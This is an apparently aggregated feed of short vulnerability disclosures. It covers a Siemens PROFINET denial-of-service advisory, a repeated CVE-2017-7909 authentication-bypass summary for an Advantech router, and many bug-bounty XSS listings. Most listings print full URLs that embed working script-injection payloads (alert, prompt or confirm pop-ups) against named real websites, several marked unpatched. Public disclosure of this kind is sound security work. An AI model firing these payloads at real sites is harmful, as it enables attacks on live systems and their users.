Siemens devices using the PROFINET Discovery and Configuration Protocol (Update B)

CVSS v3 6.5 ATTENTION: Exploitable from an adjacent network/low skill level to exploit. Vendor: Siemens Equipment: Devices using the PROFINET Discovery and Configuration Protocol DCP Vulnerability: Denial of Service UPDATE INFORMATION This updated advisory is a follow-up to the updated advisory...

studiouniversal.it XSS vulnerability

Vulnerable URL: http://studiouniversal.it/site/nonsolofilm.php?format=%3CIMG%20%22%22%22%3E%3CSCRIPT%3Ealert%28%22OPENBUGBOUNTY%22%29%3C/SCRIPT%3E%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

dmsolutions.de XSS vulnerability

Vulnerable URL: https://www.dmsolutions.de/domain-check.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 568212 VIP website status:| No Check dmsolutions.de SSL connection:|...

capps.com XSS vulnerability

Vulnerable URL: https://www.capps.com/search?query=%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1735238 VIP website...

rowan.edu XSS vulnerability

Vulnerable URL: http://www.rowan.edu/open/RUfaculty/listing.cfm?departmentID=31%22%3E%3Csvg/onload=prompt/openbugbounty/%3E Details: Description| Value ---|--- Patched:| Yes, at 20.11.2017 Latest check for patch:| 20.11.2017 14:31 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

arcep.com XSS vulnerability

Vulnerable URL: http://www.arcep.com/index.php?id=2122 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10290914 VIP website status:| No Check arcep.com SSL connection:| Grade: B+...

onyyxindia.com XSS vulnerability

Vulnerable URL: http://www.onyyxindia.com/search.php?search="'--! Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11876247 VIP website status:| No Check onyyxindia.com SSL connection:| Grade: B- Coordinated...

ccs-grp.com XSS vulnerability

Vulnerable URL: http://www.ccs-grp.com/nsearch/nsearch.cgi?query=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dalert%28%27OPENBUGBOUNTY%27%29%3E=SEARCH=20=normal=field%3Asubject%3Aascending Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017...

faqtac.ahrq.gov XSS vulnerability

Vulnerable URL: https://faqtac.ahrq.gov/ci/fattach/get/226/1494128670/filename/svgxss.svg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check faqtac.ahrq.gov SSL...

homesupport.irobot.com XSS vulnerability

Vulnerable URL: https://homesupport.irobot.com/ci/fattach/get/518496/1494125386/filename/svgxss.svg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

i-hop.org.uk XSS vulnerability

Vulnerable URL: https://www.i-hop.org.uk/ci/fattach/get/900/1494123718/filename/svgxss.svg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7379948 VIP website status:| No Check i-hop.org.uk SSL connection:| Grade...

shiraz-beethoven.ir XSS vulnerability

Vulnerable URL: http://shiraz-beethoven.ir/news.php?newsid=%22%3E%3Cscript%3Ealert%27XSSPOSED%27%20%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 291713 VIP website status:| No Check...

die-90-tage-diaet.de XSS vulnerability

Vulnerable URL: https://www.die-90-tage-diaet.de/index.cfm?resid="'--!%25%75003CSvg /%25%753008Svg /%25%75FF1CSvg /Onload=confirmOPENBUGBOUNTY // Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

us.ask.com XSS vulnerability

Vulnerable URL: http://us.ask.com/web?q="' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY //=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

yourtango.com XSS vulnerability

Vulnerable URL: http://www.yourtango.com/search/'-confirmOPENBUGBOUNTY-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11457 VIP website status:| Yes Check yourtango.com SSL...

CVE-2017-7909

A Use of Client-Side Authentication issue was discovered in Advantech B+B SmartWorx MESR901 firmware versions 1.5.2 and prior. The web interface uses JavaScript to check client authentication and redirect unauthorized users. Attackers may intercept requests and bypass authentication to access...

CVE-2017-7909

A Use of Client-Side Authentication issue was discovered in Advantech B+B SmartWorx MESR901 firmware versions 1.5.2 and prior. The web interface uses JavaScript to check client authentication and redirect unauthorized users. Attackers may intercept requests and bypass authentication to access...

PT-2017-17986

Name of the Vulnerable Software and Affected Versions Advantech B+B SmartWorx MESR901 firmware versions 1.5.2 and prior Description A Use of Client-Side Authentication issue was discovered in the web interface, which uses JavaScript to check client authentication and redirect unauthorized users...

CVE-2017-7909: Use of Client-Side Authentication

A Use of Client-Side Authentication issue was discovered in Advantech B+B SmartWorx MESR901 firmware versions 1.5.2 and prior. The web interface uses JavaScript to check client authentication and redirect unauthorized users. Attackers may intercept requests and bypass authentication to access...

CVE-2017-7909

The CVE-2017-7909 issue affects Advantech B+B SmartWorx MESR901, specifically firmware 1.5.2 and earlier. The vulnerability stems from the web interface using client-side authentication (CWE-603), allowing an unauthenticated attacker to bypass authentication and access restricted web pages by int...